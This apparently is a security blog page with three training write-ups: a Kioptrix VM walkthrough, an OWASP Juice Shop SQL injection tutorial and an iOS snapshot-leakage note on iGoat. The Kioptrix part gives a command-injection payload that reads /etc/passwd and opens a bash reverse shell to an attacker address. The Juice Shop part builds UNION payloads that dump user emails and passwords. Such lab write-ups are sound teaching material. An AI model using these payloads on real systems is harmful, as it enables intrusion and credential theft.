Kioptrix: Level 1.1 (#2)

 Kioptrix VM Image Challenges

 "This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges." - Link

Step 1 - Host Discovery

As always, the first step for any pentest is to gather information on the intended target. For this particular assignment  we want to identify the IP address of the Kioptrix VM. To do this we can use netdiscover, a passive/active arp reconnaissance tool that detect hosts on the network.

 netdiscover -i eth0 -r 192.168.1.0/24  

Step 2 - Fingerprinting

We have identified the IP of the target as 192.168.1.11.
The next step involves fingerprinting the device to check for any open ports, running services, etc

 root@kali:~# nmap -sS -A -n 192.168.1.11 
 Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-01 14:54 EDT 
 Nmap scan report for 192.168.1.11 
 Host is up (0.00033s latency). 
 Not shown: 994 closed ports 
 PORT   STATE SERVICE VERSION 
 22/tcp  open ssh   OpenSSH 3.9p1 (protocol 1.99) 
 | ssh-hostkey:  
 |  1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1) 
 |  1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA) 
 |_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA) 
 |_sshv1: Server supports SSHv1 
 80/tcp  open http   Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 
 111/tcp open rpcbind 2 (RPC #100000) 
 | rpcinfo:  
 |  program version  port/proto service 
 |  100000 2      111/tcp rpcbind 
 |  100000 2      111/udp rpcbind 
 |  100024 1      615/udp status 
 |_ 100024 1      618/tcp status 
 443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS)) 
 |_http-server-header: Apache/2.0.52 (CentOS) 
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 
 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- 
 | Not valid before: 2009-10-08T00:10:47 
 |_Not valid after: 2010-10-08T00:10:47 
 |_ssl-date: 2017-08-01T15:45:28+00:00; -3h09m43s from scanner time. 
 | sslv2:  
 |  SSLv2 supported 
 |  ciphers:  
 |   SSL2_RC4_64_WITH_MD5 
 |   SSL2_RC4_128_WITH_MD5 
 |   SSL2_RC4_128_EXPORT40_WITH_MD5 
 |   SSL2_DES_64_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_WITH_MD5 
 |   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 
 |_  SSL2_DES_192_EDE3_CBC_WITH_MD5 
 631/tcp open ipp   CUPS 1.1 
 | http-methods:  
 |_ Potentially risky methods: PUT 
 |_http-server-header: CUPS/1.1 
 |_http-title: 403 Forbidden 
 3306/tcp open mysql  MySQL (unauthorized) 
 MAC Address: 00:0C:29:FC:6D:40 (VMware) 
 Device type: general purpose 
 Running: Linux 2.6.X 
 OS CPE: cpe:/o:linux:linux_kernel:2.6 
 OS details: Linux 2.6.9 - 2.6.30 
 Network Distance: 1 hop 
 Host script results: 
 |_clock-skew: mean: -3h09m43s, deviation: 0s, median: -3h09m43s 
 TRACEROUTE 
 HOP RTT   ADDRESS 
 1  0.33 ms 192.168.1.11 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
 Nmap done: 1 IP address (1 host up) scanned in 18.92 seconds 
 root@kali:~#  

A couple of things to note from the nmap scan - TCP/22 (SSH), TCP/80, and TCP/443 (HTTP/HTTPS) running on the server. We can also see that TCP/3306 (MySQL) is running - this may mean that a SQL Injection is viable somewhere on the page.

Step 3 - Exploitation

We know port 80 is running so lets have a look. When you arrive on the Index page, you have a login page - I decided to check if the login form was vulnerable to SQL injection.If you want to learn more about SQLi check out the posts Error based SQli and Blind SQli

Great, the SQLi has allowed us to bypass the login page, we are now presented with a web console page. It appears the functionality takes an IP address from a user and executes a ping command. To test this we can input 127.0.0.1.

As can be seen from the output below, the result shows the results from pining 127.0.0.1. So to reiterate on the functionality, the page takes user input and executes a ping command. Ping is an OS command so we can assume that the OS is interpreting this input.

 The next logical step is to test what types of input the field will accept. A good workflow would assume that a user will enter an IP address, but what about a nefarious workflow?? If the input is being sent to the OS to be interpreted can we send other commands? Lets inject an IP followed by a command separator (;) and the pwd command (pwd - print working directory Linux).

 

As before we can see the results from the ping but also this time we can see /var/www/html. We can now assume that the field is vulnerable to OS command injection.

 We can look for more interesting files such as /etc/passwd, use the command ;cat /etc/passwd

 The result is shown below...

Let’s try to invoke a reverse shell by setting up a Netcat listener on port 443 - remember this port is already open on the victim’s machine.

Then go back to the Ping console on the website and run the following command: 

127.0.0.1; bash -i >& /dev/tcp/192.168.1.10/443 0>&1




Step 4 - Privilege Escalation 
Great we are now connected to the victims machine however we are running under the apache account. We really want to escalate our privilege to access the root account.







Let’s start by seeing what version of Linux the system is running.  

After a quick search I was able to find a Privilege Escalation exploit called ip_append_data_() Ring0. You can download the code, then move it to /var/www/html and start your apache server.

Lastly use wget to move the code to the victims machine, compile and execute.

That's it we have now rooted the VM :) Hope you enjoyed the post

 

Pwning OWASP Juice Shop

Why Juice Shop?
OWASP Juice Shop is an intentionally insecure webapp for security training written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

Apart from the hacker and awareness training use case, pentesting proxies or security scanners can use Juice Shop as a "guinea pig"-application to check how well their tools cope with Javascript-heavy application frontends and REST APIs. 

Architecture Overview
Frontend - Angular.js framework is used to create a so-called Single Page Application.
User Interface - layout is provided by Twitter's Bootstrap framework.
Backend - An Express.js application hosted in a Node.js server delivers the client-side code to the browser. It also provides the necessary backend functionality to the client via a RESTful API.
Database - As an underlying database a light-weight SQLite was chosen, because of its file-based nature.
Push Notifications - shown when a challenge was successfully hacked, are implemented via WebSocket protocol using socket.io which is the most prominent Javascript library in that space.
Registration - The application also offers convenient user registration via OAuth 2.0 so users can sign in with their Google accounts.

For the demo below I have used the Heroku Cloud Application Platform to build and run the application in the cloud.

Under The Hood
When trying to find security vulnerabilities on an application its important to try understand what's going on under the hood. Below we have a search function, this function allows us to search for products by putting in either the full products name/description or part of it.

The information returned by the application must be stored somewhere right? There must also be a SQL query used that takes the customers search selection to return results? What I try to do is visualize what this query might look like,

        SELECT * FROM Products WHERE name LIKE %test% or description LIKE %test%

Breaking The Query and Fixing What We Broke
As we are looking for possible security vulnerabilities, the next step is to check if we can inject some meaningful data that will produce an unexpected output. We think that the developer is using some type of SQL query to return the data but we don't know how they are taking that data in from the user to construct the query (this is a deliberately vulnerable application so I'm pretty sure they aren't using parameterized queries or stored procedures ;) Common techniques for opening and closing String values include ', ",'),"),)),,so we need to try and guess what the developer is using,is it. It could be a number of different ways..

       SELECT * FROM Products WHERE name LIKE '%test%' OR description LIKE '%test%'

       SELECT * FROM Products WHERE name LIKE "%test%" OR description LIKE "%test%"

       SELECT * FROM Products WHERE name LIKE ('%test%') OR description LIKE ('%test%')

       SELECT * FROM Products WHERE name LIKE ("%test%") OR description LIKE ("%test%")

       SELECT * FROM Products WHERE name LIKE (%test%) OR description LIKE (%test%)

       SELECT * FROM Products WHERE name LIKE ((%test%) OR description LIKE (%test%))

      SELECT * FROM Products WHERE ((name LIKE '%test%' OR description LIKE '%test%'))  😁

In the Search field we can try to inject these meaningful characters to see if we can cause some unexpected output i.e. an error. After some trial and error we can see highlighted below that ') has returned a SQLITE syntax error (in two places actually). This confirms that the developer is using

            {"error":{"message":"SQLITE_ERROR: near \")\": syntax error","stack":

     ...."SQLITE_ERROR","sql":"SELECT * FROM Products WHERE ((name LIKE '%')%'

         OR description LIKE '%')%') AND deletedAt IS NULL)ORDER BY name"}}

Now that the query has been broken, we need to escape the developers query so that we can construct our own query and execute it. We can use comments to close of our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments can be --, #, /*, */ with or without space depending on the browser

    SELECT * FROM Products WHERE ((name LIKE '%'))--%' OR description LIKE '%'))--%')

As you can see above we were able to close the query using '))--


True and False Statements
We have "fixed" the query, next we can try to return some data using true and false statements.
We can start for searching for a product or description with the word "text". This returns one result.

 Next lets append a True statement, you can see in the image that it returns all of the results

True => test')) or 1=1 --

 

If we append a False statement, no results are returned
                                        

False => test')) or 1=0 --

Column Enumeration
Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren't talking about the columns in the database but the columns being used in the query. So let's validate it, we can use a function called

   Try ORDER By 9-

           test')) ORDER BY 9--

Ok, so we get an out of range error - should be between 1 and 8 

Lets try ORDER BY 8--

test')) ORDER BY 8--

Columns returns 200 OK

This means that the developer is using 8 columns in the query. So let's update our query

SELECT * FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7,col-8 FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

Crafting Our Own Query 

We cannot change this part of the query but we can change where the user input is being taken in

Our own query can be appended using the UNION statement.

Point to Remember: We need to balance our query with the applications query i.e. we need to have 8 columns also

We can try

test')) UNION SELECT 1,2,3,4,5,6,7,8--

Return Table Names
We can use the name from sqlite_master WHERE type='table'-- to return the table names

test')) UNION SELECT 1,name,3,4,5,6,7,8 from sqlite_master WHERE type='table'--

Return Column Names 

We can dump a Tables schema using the sql from sqlite_master WHERE type='table'-- command

test')) UNION SELECT 1,sql,3,4,5,6,7,8 from sqlite_master WHERE type='table'--

 
Dumping Data from the Columns
Finally dump email and passwords

test')) UNION SELECT 1,email,password,4,5,6,7,8 from users--

You can learn more about the Juice Shop via the links below..
OWASP_Juice_Shop_Project
Juice-Shop GitHub

Unintended Data Leakage - Application Backgrounding

Application Backgrounding iOS

If an application is open, it is possible that it can be sent in to the background by a change in state, such as the user pressing the Home button or from an incoming call. 

When an application is suspended in the background, iOS will take a “snapshot” of the app and store it in the application caches directory. 

If any sensitive information is open in the application when it enters the background, the snapshot is written to the filesystem in clear text. This can then be accessed by a malicious user.

iGoat Example

iGoat has an example of this type of vulnerability under Data Protection (Rest) > Backgrounding. Just click on Start to begin the exercise.

Enter any answers in the security question text fields and tap on the home button on your device to take the application in the background. iOS will take a screenshot of the application before it goes in the background.

If you navigate to the /Library/Caches/Snapshots/ folder you will find the snapshot containing the information you entered.

In order to prevent this kind of a vulnerability, these text fields can be set with the hidden attribute.

Example

The UIApplication delegate method applicationDidEnterBackground can be used to detect when an application is entering the background and modify the display accordingly.

- (void)applicationDidEnterBackground:(UIApplication *)application {

viewController.creditcardNumber.hidden = YES;

}